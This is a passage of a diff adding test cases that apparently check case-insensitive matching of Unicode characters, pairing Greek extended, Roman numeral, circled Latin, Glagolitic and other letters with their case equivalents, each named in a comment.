+test(0x1FAC, 0x1FA4); // GREEK CAPITAL LETTER OMEGA WITH PSILI AND OXIA AND PROSGEGRAMMENI, GREEK SMALL LETTER OMEGA WITH PSILI AND OXIA AND YPOGEGRAMMENI
+test(0x1FAD, 0x1FA5); // GREEK CAPITAL LETTER OMEGA WITH DASIA AND OXIA AND PROSGEGRAMMENI, GREEK SMALL LETTER OMEGA WITH DASIA AND OXIA AND YPOGEGRAMMENI
+test(0x1FAE, 0x1FA6); // GREEK CAPITAL LETTER OMEGA WITH PSILI AND PERISPOMENI AND PROSGEGRAMMENI, GREEK SMALL LETTER OMEGA WITH PSILI AND PERISPOMENI AND YPOGEGRAMMENI
+test(0x1FAF, 0x1FA7); // GREEK CAPITAL LETTER OMEGA WITH DASIA AND PERISPOMENI AND PROSGEGRAMMENI, GREEK SMALL LETTER OMEGA WITH DASIA AND PERISPOMENI AND YPOGEGRAMMENI
+test(0x1FB0, 0x1FB8); // GREEK SMALL LETTER ALPHA WITH VRACHY, GREEK CAPITAL LETTER ALPHA WITH VRACHY
+test(0x1FB1, 0x1FB9); // GREEK SMALL LETTER ALPHA WITH MACRON, GREEK CAPITAL LETTER ALPHA WITH MACRON
+test(0x1FB3, 0x1FBC); // GREEK SMALL LETTER ALPHA WITH YPOGEGRAMMENI, GREEK CAPITAL LETTER ALPHA WITH PROSGEGRAMMENI
+test(0x1FB8, 0x1FB0); // GREEK CAPITAL LETTER ALPHA WITH VRACHY, GREEK SMALL LETTER ALPHA WITH VRACHY
+test(0x1FB9, 0x1FB1); // GREEK CAPITAL LETTER ALPHA WITH MACRON, GREEK SMALL LETTER ALPHA WITH MACRON
+test(0x1FBA, 0x1F70); // GREEK CAPITAL LETTER ALPHA WITH VARIA, GREEK SMALL LETTER ALPHA WITH VARIA
+test(0x1FBB, 0x1F71); // GREEK CAPITAL LETTER ALPHA WITH OXIA, GREEK SMALL LETTER ALPHA WITH OXIA
+test(0x1FBC, 0x1FB3); // GREEK CAPITAL LETTER ALPHA WITH PROSGEGRAMMENI, GREEK SMALL LETTER ALPHA WITH YPOGEGRAMMENI
+test(0x1FBE, 0x03B9, 0x0345, 0x0399); // GREEK PROSGEGRAMMENI, GREEK SMALL LETTER IOTA, COMBINING GREEK YPOGEGRAMMENI (GREEK NON-SPACING IOTA BELOW), GREEK CAPITAL LETTER IOTA
+test(0x1FC3, 0x1FCC); // GREEK SMALL LETTER ETA WITH YPOGEGRAMMENI, GREEK CAPITAL LETTER ETA WITH PROSGEGRAMMENI
+test(0x1FC8, 0x1F72); // GREEK CAPITAL LETTER EPSILON WITH VARIA, GREEK SMALL LETTER EPSILON WITH VARIA
+test(0x1FC9, 0x1F73); // GREEK CAPITAL LETTER EPSILON WITH OXIA, GREEK SMALL LETTER EPSILON WITH OXIA
+test(0x1FCA, 0x1F74); // GREEK CAPITAL LETTER ETA WITH VARIA, GREEK SMALL LETTER ETA WITH VARIA
+test(0x1FCB, 0x1F75); // GREEK CAPITAL LETTER ETA WITH OXIA, GREEK SMALL LETTER ETA WITH OXIA
+test(0x1FCC, 0x1FC3); // GREEK CAPITAL LETTER ETA WITH PROSGEGRAMMENI, GREEK SMALL LETTER ETA WITH YPOGEGRAMMENI
+test(0x1FD0, 0x1FD8); // GREEK SMALL LETTER IOTA WITH VRACHY, GREEK CAPITAL LETTER IOTA WITH VRACHY
+test(0x1FD1, 0x1FD9); // GREEK SMALL LETTER IOTA WITH MACRON, GREEK CAPITAL LETTER IOTA WITH MACRON
+test(0x1FD8, 0x1FD0); // GREEK CAPITAL LETTER IOTA WITH VRACHY, GREEK SMALL LETTER IOTA WITH VRACHY
+test(0x1FD9, 0x1FD1); // GREEK CAPITAL LETTER IOTA WITH MACRON, GREEK SMALL LETTER IOTA WITH MACRON
+test(0x1FDA, 0x1F76); // GREEK CAPITAL LETTER IOTA WITH VARIA, GREEK SMALL LETTER IOTA WITH VARIA
+test(0x1FDB, 0x1F77); // GREEK CAPITAL LETTER IOTA WITH OXIA, GREEK SMALL LETTER IOTA WITH OXIA
+test(0x1FE0, 0x1FE8); // GREEK SMALL LETTER UPSILON WITH VRACHY, GREEK CAPITAL LETTER UPSILON WITH VRACHY
+test(0x1FE1, 0x1FE9); // GREEK SMALL LETTER UPSILON WITH MACRON, GREEK CAPITAL LETTER UPSILON WITH MACRON
+test(0x1FE5, 0x1FEC); // GREEK SMALL LETTER RHO WITH DASIA, GREEK CAPITAL LETTER RHO WITH DASIA
+test(0x1FE8, 0x1FE0); // GREEK CAPITAL LETTER UPSILON WITH VRACHY, GREEK SMALL LETTER UPSILON WITH VRACHY
+test(0x1FE9, 0x1FE1); // GREEK CAPITAL LETTER UPSILON WITH MACRON, GREEK SMALL LETTER UPSILON WITH MACRON
+test(0x1FEA, 0x1F7A); // GREEK CAPITAL LETTER UPSILON WITH VARIA, GREEK SMALL LETTER UPSILON WITH VARIA
+test(0x1FEB, 0x1F7B); // GREEK CAPITAL LETTER UPSILON WITH OXIA, GREEK SMALL LETTER UPSILON WITH OXIA
+test(0x1FEC, 0x1FE5); // GREEK CAPITAL LETTER RHO WITH DASIA, GREEK SMALL LETTER RHO WITH DASIA
+test(0x1FF3, 0x1FFC); // GREEK SMALL LETTER OMEGA WITH YPOGEGRAMMENI, GREEK CAPITAL LETTER OMEGA WITH PROSGEGRAMMENI
+test(0x1FF8, 0x1F78); // GREEK CAPITAL LETTER OMICRON WITH VARIA, GREEK SMALL LETTER OMICRON WITH VARIA
+test(0x1FF9, 0x1F79); // GREEK CAPITAL LETTER OMICRON WITH OXIA, GREEK SMALL LETTER OMICRON WITH OXIA
+test(0x1FFA, 0x1F7C); // GREEK CAPITAL LETTER OMEGA WITH VARIA, GREEK SMALL LETTER OMEGA WITH VARIA
+test(0x1FFB, 0x1F7D); // GREEK CAPITAL LETTER OMEGA WITH OXIA, GREEK SMALL LETTER OMEGA WITH OXIA
+test(0x1FFC, 0x1FF3); // GREEK CAPITAL LETTER OMEGA WITH PROSGEGRAMMENI, GREEK SMALL LETTER OMEGA WITH YPOGEGRAMMENI
+test(0x2126, 0x03C9, 0x03A9); // OHM SIGN (OHM), GREEK SMALL LETTER OMEGA, GREEK CAPITAL LETTER OMEGA
+test(0x212A, 0x006B, 0x004B); // KELVIN SIGN (DEGREES KELVIN), LATIN SMALL LETTER K, LATIN CAPITAL LETTER K
+test(0x212B, 0x00E5, 0x00C5); // ANGSTROM SIGN (ANGSTROM UNIT), LATIN SMALL LETTER A WITH RING ABOVE (LATIN SMALL LETTER A RING), LATIN CAPITAL LETTER A WITH RING ABOVE (LATIN CAPITAL LETTER A RING)
+test(0x2132, 0x214E); // TURNED CAPITAL F (TURNED F), TURNED SMALL F
+test(0x214E, 0x2132); // TURNED SMALL F, TURNED CAPITAL F (TURNED F)
+test(0x2160, 0x2170); // ROMAN NUMERAL ONE, SMALL ROMAN NUMERAL ONE
+test(0x2161, 0x2171); // ROMAN NUMERAL TWO, SMALL ROMAN NUMERAL TWO
+test(0x2162, 0x2172); // ROMAN NUMERAL THREE, SMALL ROMAN NUMERAL THREE
+test(0x2163, 0x2173); // ROMAN NUMERAL FOUR, SMALL ROMAN NUMERAL FOUR
+test(0x2164, 0x2174); // ROMAN NUMERAL FIVE, SMALL ROMAN NUMERAL FIVE
+test(0x2165, 0x2175); // ROMAN NUMERAL SIX, SMALL ROMAN NUMERAL SIX
+test(0x2166, 0x2176); // ROMAN NUMERAL SEVEN, SMALL ROMAN NUMERAL SEVEN
+test(0x2167, 0x2177); // ROMAN NUMERAL EIGHT, SMALL ROMAN NUMERAL EIGHT
+test(0x2168, 0x2178); // ROMAN NUMERAL NINE, SMALL ROMAN NUMERAL NINE
+test(0x2169, 0x2179); // ROMAN NUMERAL TEN, SMALL ROMAN NUMERAL TEN
+test(0x216A, 0x217A); // ROMAN NUMERAL ELEVEN, SMALL ROMAN NUMERAL ELEVEN
+test(0x216B, 0x217B); // ROMAN NUMERAL TWELVE, SMALL ROMAN NUMERAL TWELVE
+test(0x216C, 0x217C); // ROMAN NUMERAL FIFTY, SMALL ROMAN NUMERAL FIFTY
+test(0x216D, 0x217D); // ROMAN NUMERAL ONE HUNDRED, SMALL ROMAN NUMERAL ONE HUNDRED
+test(0x216E, 0x217E); // ROMAN NUMERAL FIVE HUNDRED, SMALL ROMAN NUMERAL FIVE HUNDRED
+test(0x216F, 0x217F); // ROMAN NUMERAL ONE THOUSAND, SMALL ROMAN NUMERAL ONE THOUSAND
+test(0x2170, 0x2160); // SMALL ROMAN NUMERAL ONE, ROMAN NUMERAL ONE
+test(0x2171, 0x2161); // SMALL ROMAN NUMERAL TWO, ROMAN NUMERAL TWO
+test(0x2172, 0x2162); // SMALL ROMAN NUMERAL THREE, ROMAN NUMERAL THREE
+test(0x2173, 0x2163); // SMALL ROMAN NUMERAL FOUR, ROMAN NUMERAL FOUR
+test(0x2174, 0x2164); // SMALL ROMAN NUMERAL FIVE, ROMAN NUMERAL FIVE
+test(0x2175, 0x2165); // SMALL ROMAN NUMERAL SIX, ROMAN NUMERAL SIX
+test(0x2176, 0x2166); // SMALL ROMAN NUMERAL SEVEN, ROMAN NUMERAL SEVEN
+test(0x2177, 0x2167); // SMALL ROMAN NUMERAL EIGHT, ROMAN NUMERAL EIGHT
+test(0x2178, 0x2168); // SMALL ROMAN NUMERAL NINE, ROMAN NUMERAL NINE
+test(0x2179, 0x2169); // SMALL ROMAN NUMERAL TEN, ROMAN NUMERAL TEN
+test(0x217A, 0x216A); // SMALL ROMAN NUMERAL ELEVEN, ROMAN NUMERAL ELEVEN
+test(0x217B, 0x216B); // SMALL ROMAN NUMERAL TWELVE, ROMAN NUMERAL TWELVE
+test(0x217C, 0x216C); // SMALL ROMAN NUMERAL FIFTY, ROMAN NUMERAL FIFTY
+test(0x217D, 0x216D); // SMALL ROMAN NUMERAL ONE HUNDRED, ROMAN NUMERAL ONE HUNDRED
+test(0x217E, 0x216E); // SMALL ROMAN NUMERAL FIVE HUNDRED, ROMAN NUMERAL FIVE HUNDRED
+test(0x217F, 0x216F); // SMALL ROMAN NUMERAL ONE THOUSAND, ROMAN NUMERAL ONE THOUSAND
+test(0x2183, 0x2184); // ROMAN NUMERAL REVERSED ONE HUNDRED, LATIN SMALL LETTER REVERSED C
+test(0x2184, 0x2183); // LATIN SMALL LETTER REVERSED C, ROMAN NUMERAL REVERSED ONE HUNDRED
+test(0x24B6, 0x24D0); // CIRCLED LATIN CAPITAL LETTER A, CIRCLED LATIN SMALL LETTER A
+test(0x24B7, 0x24D1); // CIRCLED LATIN CAPITAL LETTER B, CIRCLED LATIN SMALL LETTER B
+test(0x24B8, 0x24D2); // CIRCLED LATIN CAPITAL LETTER C, CIRCLED LATIN SMALL LETTER C
+test(0x24B9, 0x24D3); // CIRCLED LATIN CAPITAL LETTER D, CIRCLED LATIN SMALL LETTER D
+test(0x24BA, 0x24D4); // CIRCLED LATIN CAPITAL LETTER E, CIRCLED LATIN SMALL LETTER E
+test(0x24BB, 0x24D5); // CIRCLED LATIN CAPITAL LETTER F, CIRCLED LATIN SMALL LETTER F
+test(0x24BC, 0x24D6); // CIRCLED LATIN CAPITAL LETTER G, CIRCLED LATIN SMALL LETTER G
+test(0x24BD, 0x24D7); // CIRCLED LATIN CAPITAL LETTER H, CIRCLED LATIN SMALL LETTER H
+test(0x24BE, 0x24D8); // CIRCLED LATIN CAPITAL LETTER I, CIRCLED LATIN SMALL LETTER I
+test(0x24BF, 0x24D9); // CIRCLED LATIN CAPITAL LETTER J, CIRCLED LATIN SMALL LETTER J
+test(0x24C0, 0x24DA); // CIRCLED LATIN CAPITAL LETTER K, CIRCLED LATIN SMALL LETTER K
+test(0x24C1, 0x24DB); // CIRCLED LATIN CAPITAL LETTER L, CIRCLED LATIN SMALL LETTER L
+test(0x24C2, 0x24DC); // CIRCLED LATIN CAPITAL LETTER M, CIRCLED LATIN SMALL LETTER M
+test(0x24C3, 0x24DD); // CIRCLED LATIN CAPITAL LETTER N, CIRCLED LATIN SMALL LETTER N
+test(0x24C4, 0x24DE); // CIRCLED LATIN CAPITAL LETTER O, CIRCLED LATIN SMALL LETTER O
+test(0x24C5, 0x24DF); // CIRCLED LATIN CAPITAL LETTER P, CIRCLED LATIN SMALL LETTER P
+test(0x24C6, 0x24E0); // CIRCLED LATIN CAPITAL LETTER Q, CIRCLED LATIN SMALL LETTER Q
+test(0x24C7, 0x24E1); // CIRCLED LATIN CAPITAL LETTER R, CIRCLED LATIN SMALL LETTER R
+test(0x24C8, 0x24E2); // CIRCLED LATIN CAPITAL LETTER S, CIRCLED LATIN SMALL LETTER S
+test(0x24C9, 0x24E3); // CIRCLED LATIN CAPITAL LETTER T, CIRCLED LATIN SMALL LETTER T
+test(0x24CA, 0x24E4); // CIRCLED LATIN CAPITAL LETTER U, CIRCLED LATIN SMALL LETTER U
+test(0x24CB, 0x24E5); // CIRCLED LATIN CAPITAL LETTER V, CIRCLED LATIN SMALL LETTER V
+test(0x24CC, 0x24E6); // CIRCLED LATIN CAPITAL LETTER W, CIRCLED LATIN SMALL LETTER W
+test(0x24CD, 0x24E7); // CIRCLED LATIN CAPITAL LETTER X, CIRCLED LATIN SMALL LETTER X
+test(0x24CE, 0x24E8); // CIRCLED LATIN CAPITAL LETTER Y, CIRCLED LATIN SMALL LETTER Y
+test(0x24CF, 0x24E9); // CIRCLED LATIN CAPITAL LETTER Z, CIRCLED LATIN SMALL LETTER Z
+test(0x24D0, 0x24B6); // CIRCLED LATIN SMALL LETTER A, CIRCLED LATIN CAPITAL LETTER A
+test(0x24D1, 0x24B7); // CIRCLED LATIN SMALL LETTER B, CIRCLED LATIN CAPITAL LETTER B
+test(0x24D2, 0x24B8); // CIRCLED LATIN SMALL LETTER C, CIRCLED LATIN CAPITAL LETTER C
+test(0x24D3, 0x24B9); // CIRCLED LATIN SMALL LETTER D, CIRCLED LATIN CAPITAL LETTER D
+test(0x24D4, 0x24BA); // CIRCLED LATIN SMALL LETTER E, CIRCLED LATIN CAPITAL LETTER E
+test(0x24D5, 0x24BB); // CIRCLED LATIN SMALL LETTER F, CIRCLED LATIN CAPITAL LETTER F
+test(0x24D6, 0x24BC); // CIRCLED LATIN SMALL LETTER G, CIRCLED LATIN CAPITAL LETTER G
+test(0x24D7, 0x24BD); // CIRCLED LATIN SMALL LETTER H, CIRCLED LATIN CAPITAL LETTER H
+test(0x24D8, 0x24BE); // CIRCLED LATIN SMALL LETTER I, CIRCLED LATIN CAPITAL LETTER I
+test(0x24D9, 0x24BF); // CIRCLED LATIN SMALL LETTER J, CIRCLED LATIN CAPITAL LETTER J
+test(0x24DA, 0x24C0); // CIRCLED LATIN SMALL LETTER K, CIRCLED LATIN CAPITAL LETTER K
+test(0x24DB, 0x24C1); // CIRCLED LATIN SMALL LETTER L, CIRCLED LATIN CAPITAL LETTER L
+test(0x24DC, 0x24C2); // CIRCLED LATIN SMALL LETTER M, CIRCLED LATIN CAPITAL LETTER M
+test(0x24DD, 0x24C3); // CIRCLED LATIN SMALL LETTER N, CIRCLED LATIN CAPITAL LETTER N
+test(0x24DE, 0x24C4); // CIRCLED LATIN SMALL LETTER O, CIRCLED LATIN CAPITAL LETTER O
+test(0x24DF, 0x24C5); // CIRCLED LATIN SMALL LETTER P, CIRCLED LATIN CAPITAL LETTER P
+test(0x24E0, 0x24C6); // CIRCLED LATIN SMALL LETTER Q, CIRCLED LATIN CAPITAL LETTER Q
+test(0x24E1, 0x24C7); // CIRCLED LATIN SMALL LETTER R, CIRCLED LATIN CAPITAL LETTER R
+test(0x24E2, 0x24C8); // CIRCLED LATIN SMALL LETTER S, CIRCLED LATIN CAPITAL LETTER S
+test(0x24E3, 0x24C9); // CIRCLED LATIN SMALL LETTER T, CIRCLED LATIN CAPITAL LETTER T
+test(0x24E4, 0x24CA); // CIRCLED LATIN SMALL LETTER U, CIRCLED LATIN CAPITAL LETTER U
+test(0x24E5, 0x24CB); // CIRCLED LATIN SMALL LETTER V, CIRCLED LATIN CAPITAL LETTER V
+test(0x24E6, 0x24CC); // CIRCLED LATIN SMALL LETTER W, CIRCLED LATIN CAPITAL LETTER W
+test(0x24E7, 0x24CD); // CIRCLED LATIN SMALL LETTER X, CIRCLED LATIN CAPITAL LETTER X
+test(0x24E8, 0x24CE); // CIRCLED LATIN SMALL LETTER Y, CIRCLED LATIN CAPITAL LETTER Y
+test(0x24E9, 0x24CF); // CIRCLED LATIN SMALL LETTER Z, CIRCLED LATIN CAPITAL LETTER Z
+test(0x2C00, 0x2C30); // GLAGOLITIC CAPITAL LETTER AZU, GLAGOLITIC SMALL LETTER AZU
+test(0x2C01, 0x2C31); // GLAGOLITIC CAPITAL LETTER BUKY, GLAGOLITIC SMALL LETTER BUKY
+test(0x2C02, 0x2C32); // GLAGOLITIC CAPITAL LETTER VEDE, GLAGOLITIC SMALL LETTER VEDE
+test(0x2C03, 0x2C33); // GLAGOLITIC CAPITAL LETTER GLAGOLI, GLAGOLITIC SMALL LETTER GLAGOLI
+test(0x2C04, 0x2C34); // GLAGOLITIC CAPITAL LETTER DOBRO, GLAGOLITIC SMALL LETTER DOBRO
+test(0x2C05, 0x2C35); // GLAGOLITIC CAPITAL LETTER YESTU, GLAGOLITIC SMALL LETTER YESTU
+test(0x2C06, 0x2C36); // GLAGOLITIC CAPITAL LETTER ZHIVETE, GLAGOLITIC SMALL LETTER ZHIVETE
+test(0x2C07, 0x2C37); // GLAGOLITIC CAPITAL LETTER DZELO, GLAGOLITIC SMALL LETTER DZELO
+test(0x2C08, 0x2C38); // GLAGOLITIC CAPITAL LETTER ZEMLJA, GLAGOLITIC SMALL LETTER ZEMLJA
+test(0x2C09, 0x2C39); // GLAGOLITIC CAPITAL LETTER IZHE, GLAGOLITIC SMALL LETTER IZHE
+test(0x2C0A, 0x2C3A); // GLAGOLITIC CAPITAL LETTER INITIAL IZHE, GLAGOLITIC SMALL LETTER INITIAL IZHE
+test(0x2C0B, 0x2C3B); // GLAGOLITIC CAPITAL LETTER I, GLAGOLITIC SMALL LETTER I
+test(0x2C0C, 0x2C3C); // GLAGOLITIC CAPITAL LETTER DJERVI, GLAGOLITIC SMALL LETTER DJERVI
+test(0x2C0D, 0x2C3D); // GLAGOLITIC CAPITAL LETTER KAKO, GLAGOLITIC SMALL LETTER KAKO
+test(0x2C0E, 0x2C3E); // GLAGOLITIC CAPITAL LETTER LJUDIJE, GLAGOLITIC SMALL LETTER LJUDIJE
+test(0x2C0F, 0x2C3F); // GLAGOLITIC CAPITAL LETTER MYSLITE, GLAGOLITIC SMALL LETTER MYSLITE
+test(0x2C10, 0x2C40); // GLAGOLITIC CAPITAL LETTER NASHI, GLAGOLITIC SMALL LETTER NASHI
+test(0x2C11, 0x2C41); // GLAGOLITIC CAPITAL LETTER ONU, GLAGOLITIC SMALL LETTER ONU
+test(0x2C12, 0x2C42); // GLAGOLITIC CAPITAL LETTER POKOJI, GLAGOLITIC SMALL LETTER POKOJI
+test(0x2C13, 0x2C43); // GLAGOLITIC CAPITAL LETTER RITSI, GLAGOLITIC SMALL LETTER RITSI
+test(0x2C14, 0x2C44); // GLAGOLITIC CAPITAL LETTER SLOVO, GLAGOLITIC SMALL LETTER SLOVO
+test(0x2C15, 0x2C45); // GLAGOLITIC CAPITAL LETTER TVRIDO, GLAGOLITIC SMALL LETTER TVRIDO
+test(0x2C16, 0x2C46); // GLAGOLITIC CAPITAL LETTER UKU, GLAGOLITIC SMALL LETTER UKU
+test(0x2C17, 0x2C47); // GLAGOLITIC CAPITAL LETTER FRITU, GLAGOLITIC SMALL LETTER FRITU
+test(0x2C18, 0x2C48); // GLAGOLITIC CAPITAL LETTER HERU, GLAGOLITIC SMALL LETTER HERU
+test(0x2C19, 0x2C49); // GLAGOLITIC CAPITAL LETTER OTU, GLAGOLITIC SMALL LETTER OTU
+test(0x2C1A, 0x2C4A); // GLAGOLITIC CAPITAL LETTER PE, GLAGOLITIC SMALL LETTER PE
+test(0x2C1B, 0x2C4B); // GLAGOLITIC CAPITAL LETTER SHTA, GLAGOLITIC SMALL LETTER SHTA
+test(0x2C1C, 0x2C4C); // GLAGOLITIC CAPITAL LETTER TSI, GLAGOLITIC SMALL LETTER TSI
+test(0x2C1D, 0x2C4D); // GLAGOLITIC CAPITAL LETTER CHRIVI, GLAGOLITIC SMALL LETTER CHRIVI
+test(0x2C1E, 0x2C4E); // GLAGOLITIC CAPITAL LETTER SHA, GLAGOLITIC SMALL LETTER SHA
+test(0x2C1F, 0x2C4F); // GLAGOLITIC CAPITAL LETTER YERU, GLAGOLITIC SMALL LETTER YERU
+test(0x2C20, 0x2C50); // GLAGOLITIC CAPITAL LETTER YERI, GLAGOLITIC SMALL LETTER YERI
+test(0x2C21, 0x2C51); // GLAGOLITIC CAPITAL LETTER YATI, GLAGOLITIC SMALL LETTER YATI
+test(0x2C22, 0x2C52); // GLAGOLITIC CAPITAL LETTER SPIDERY HA, GLAGOLITIC SMALL LETTER SPIDERY HA
+test(0x2C23, 0x2C53); // GLAGOLITIC CAPITAL LETTER YU, GLAGOLITIC SMALL LETTER YU
+test(0x2C24, 0x2C54); // GLAGOLITIC CAPITAL LETTER SMALL YUS, GLAGOLITIC SMALL LETTER SMALL YUS
+test(0x2C25, 0x2C55); // GLAGOLITIC CAPITAL LETTER SMALL YUS WITH TAIL, GLAGOLITIC SMALL LETTER SMALL YUS WITH TAIL
+test(0x2C26, 0x2C56); // GLAGOLITIC CAPITAL LETTER YO, GLAGOLITIC SMALL LETTER YO
+test(0x2C27, 0x2C57); // GLAGOLITIC CAPITAL LETTER IOTATED SMALL YUS, GLAGOLITIC SMALL LETTER IOTATED SMALL YUS
+test(0x2C28, 0x2C58); // GLAGOLITIC CAPITAL LETTER BIG YUS, GLAGOLITIC SMALL LETTER BIG YUS
+test(0x2C29, 0x2C59); // GLAGOLITIC CAPITAL LETTER IOTATED BIG YUS, GLAGOLITIC SMALL LETTER IOTATED BIG YUS
+test(0x2C2A, 0x2C5A); // GLAGOLITIC CAPITAL LETTER FITA, GLAGOLITIC SMALL LETTER FITA
+test(0x2C2B, 0x2C5B); // GLAGOLITIC CAPITAL LETTER IZHITSA, GLAGOLITIC SMALL LETTER IZHITSA
+test(0x2C2C, 0x2C5C); // GLAGOLITIC CAPITAL LETTER SHTAPIC, GLAGOLITIC SMALL LETTER SHTAPIC
+test(0x2C2D, 0x2C5D); // GLAGOLITIC CAPITAL LETTER TROKUTASTI A, GLAGOLITIC SMALL LETTER TROKUTASTI A
+test(0x2C2E, 0x2C5E); // GLAGOLITIC CAPITAL LETTER LATINATE MYSLITE, GLAGOLITIC SMALL LETTER LATINATE MYSLITE
+test(0x2C2F, 0x2C5F); // GLAGOLITIC CAPITAL LETTER CAUDATE CHRIVI, GLAGOLITIC SMALL LETTER CAUDATE CHRIVI
+test(0x2C30, 0x2C00); // GLAGOLITIC SMALL LETTER AZU, GLAGOLITIC CAPITAL LETTER AZU
+test(0x2C31, 0x2C01); // GLAGOLITIC SMALL LETTER BUKY, GLAGOLITIC CAPITAL LETTER BUKY
+test(0x2C32, 0x2C02); // GLAGOLITIC SMALL LETTER VEDE, GLAGOLITIC CAPITAL LETTER VEDE
+test(0x2C33, 0x2C03); // GLAGOLITIC SMALL LETTER GLAGOLI, GLAGOLITIC CAPITAL LETTER GLAGOLI
+test(0x2C34, 0x2C04); // GLAGOLITIC SMALL LETTER DOBRO, GLAGOLITIC CAPITAL LETTER DOBRO
+test(0x2C35, 0x2C05); // GLAGOLITIC SMALL LETTER YESTU, GLAGOLITIC CAPITAL LETTER YESTU
+test(0x2C36, 0x2C06); // GLAGOLITIC SMALL LETTER ZHIVETE, GLAGOLITIC CAPITAL LETTER ZHIVETE
+test(0x2C37, 0x2C07); // GLAGOLITIC SMALL LETTER DZELO, GLAGOLITIC CAPITAL LETTER DZELO
+test(0x2C38, 0x2C08); // GLAGOLITIC SMALL LETTER ZEMLJA, GLAGOLITIC CAPITAL LETTER ZEMLJA
+test(0x2C39, 0x2C09); // GLAGOLITIC SMALL LETTER IZHE, GLAGOLITIC CAPITAL LETTER IZHE
+test(0x2C3A, 0x2C0A); // GLAGOLITIC SMALL LETTER INITIAL IZHE, GLAGOLITIC CAPITAL LETTER INITIAL IZHE
+test(0x2C3B, 0x2C0B); // GLAGOLITIC SMALL LETTER I, GLAGOLITIC CAPITAL LETTER I
+test(0x2C3C, 0x2C0C); // GLAGOLITIC SMALL LETTER DJERVI, GLAGOLITIC CAPITAL LETTER DJERVI
+test(0x2C3D, 0x2C0D); // GLAGOLITIC SMALL LETTER KAKO, GLAGOLITIC CAPITAL LETTER KAKO
+test(0x2C3E, 0x2C0E); // GLAGOLITIC SMALL LETTER LJUDIJE, GLAGOLITIC CAPITAL LETTER LJUDIJE
+test(0x2C3F, 0x2C0F); // GLAGOLITIC SMALL LETTER MYSLITE, GLAGOLITIC CAPITAL LETTER MYSLITE
+test(0x2C40, 0x2C10); // GLAGOLITIC SMALL LETTER NASHI, GLAGOLITIC CAPITAL LETTER NASHI
+test(0x2C41, 0x2C11); // GLAGOLITIC SMALL LETTER ONU, GLAGOLITIC CAPITAL LETTER ONU
+test(0x2C42, 0x2C12); // GLAGOLITIC SMALL LETTER POKOJI, GLAGOLITIC CAPITAL LETTER POKOJI
+test(0x2C43, 0x2C13); // GLAGOLITIC SMALL LETTER RITSI, GLAGOLITIC CAPITAL LETTER RITSI
+test(0x2C44, 0x2C14); // GLAGOLITIC SMALL LETTER SLOVO, GLAGOLITIC CAPITAL LETTER SLOVO
+test(0x2C45, 0x2C15); // GLAGOLITIC SMALL LETTER TVRIDO, GLAGOLITIC CAPITAL LETTER TVRIDO
+test(0x2C46, 0x2C16); // GLAGOLITIC SMALL LETTER UKU, GLAGOLITIC CAPITAL LETTER UKU
+test(0x2C47, 0x2C17); // GLAGOLITIC SMALL LETTER FRITU, GLAGOLITIC CAPITAL LETTER FRITU
+test(0x2C48, 0x2C18); // GLAGOLITIC SMALL LETTER HERU, GLAGOLITIC CAPITAL LETTER HERU
+test(0x2C49, 0x2C19); // GLAGOLITIC SMALL LETTER OTU, GLAGOLITIC CAPITAL LETTER OTU
+test(0x2C4A, 0x2C1A); // GLAGOLITIC SMALL LETTER PE, GLAGOLITIC CAPITAL LETTER PE
+test(0x2C4B, 0x2C1B); // GLAGOLITIC SMALL LETTER SHTA, GLAGOLITIC CAPITAL LETTER SHTA
+test(0x2C4C, 0x2C1C); // GLAGOLITIC SMALL LETTER TSI, GLAGOLITIC CAPITAL LETTER TSI
+test(0x2C4D, 0x2C1D); // GLAGOLITIC SMALL LETTER CHRIVI, GLAGOLITIC CAPITAL LETTER CHRIVI
+test(0x2C4E, 0x2C1E); // GLAGOLITIC SMALL LETTER SHA, GLAGOLITIC CAPITAL LETTER SHA
+test(0x2C4F, 0x2C1F); // GLAGOLITIC SMALL LETTER YERU, GLAGOLITIC CAPITAL LETTER YERU
+test(0x2C50, 0x2C20); // GLAGOLITIC SMALL LETTER YERI, GLAGOLITIC CAPITAL LETTER YERI
+test(0x2C51, 0x2C21); // GLAGOLITIC SMALL LETTER YATI, GLAGOLITIC CAPITAL LETTER YATI
+test(0x2C52, 0x2C22); // GLAGOLITIC SMALL LETTER SPIDERY HA, GLAGOLITIC CAPITAL LETTER SPIDERY HA
+test(0x2C53, 0x2C23); // GLAGOLITIC SMALL LETTER YU, GLAGOLITIC CAPITAL LETTER YU
+test(0x2C54, 0x2C24); // GLAGOLITIC SMALL LETTER SMALL YUS, GLAGOLITIC CAPITAL LETTER SMALL YUS
+test(0x2C55, 0x2C25); // GLAGOLITIC SMALL LETTER SMALL YUS WITH TAIL, GLAGOLITIC CAPITAL LETTER SMALL YUS WITH TAIL
+test(0x2C56, 0x2C26); // GLAGOLITIC SMALL LETTER YO, GLAGOLITIC CAPITAL LETTER YO
+test(0x2C57, 0x2C27); // GLAGOLITIC SMALL LETTER IOTATED SMALL YUS, GLAGOLITIC CAPITAL LETTER IOTATED SMALL YUS
+test(0x2C58, 0x2C28); // GLAGOLITIC SMALL LETTER BIG YUS, GLAGOLITIC CAPITAL LETTER BIG YUS
+test(0x2C59, 0x2C29); // GLAGOLITIC SMALL LETTER IOTATED BIG YUS, GLAGOLITIC CAPITAL LETTER IOTATED BIG YUS
+test(0x2C5A, 0x2C2A); // GLAGOLITIC SMALL LETTER FITA, GLAGOLITIC CAPITAL LETTER FITA
+test(0x2C5B, 0x2C2B); // GLAGOLITIC SMALL LETTER IZHITSA, GLAGOLITIC CAPITAL LETTER IZHITSA
+test(0x2C5C, 0x2C2C); // GLAGOLITIC SMALL LETTER SHTAPIC, GLAGOLITIC CAPITAL LETTER SHTAPIC
+test(0x2C5D, 0x2C2D); // GLAGOLITIC SMALL LETTER TROKUTASTI A, GLAGOLITIC CAPITAL LETTER TROKUTASTI A
+test(0x2C5E, 0x2C2E); // GLAGOLITIC SMALL LETTER LATINATE MYSLITE, GLAGOLITIC CAPITAL LETTER LATINATE MYSLITE
+test(0x2C5F, 0x2C2F); // GLAGOLITIC SMALL LETTER CAUDATE CHRIVI, GLAGOLITIC CAPITAL LETTER CAUDATE CHRIVI
+test(0x2C60, 0x2C61); // LATIN CAPITAL LETTER L WITH DOUBLE BAR, LATIN SMALL LETTER L WITH DOUBLE BAR
+test(0x2C61, 0x2C60); // LATIN SMALL LETTER L WITH DOUBLE BAR, LATIN CAPITAL LETTER L WITH DOUBLE BAR
+test(0x2C62, 0x026B); // LATIN CAPITAL LETTER L WITH MIDDLE TILDE, LATIN SMALL LETTER L WITH MIDDLE TILDE
+test(0x2C63, 0x1D7D); // LATIN CAPITAL LETTER P WITH STROKE, LATIN SMALL LETTER P WITH STROKE
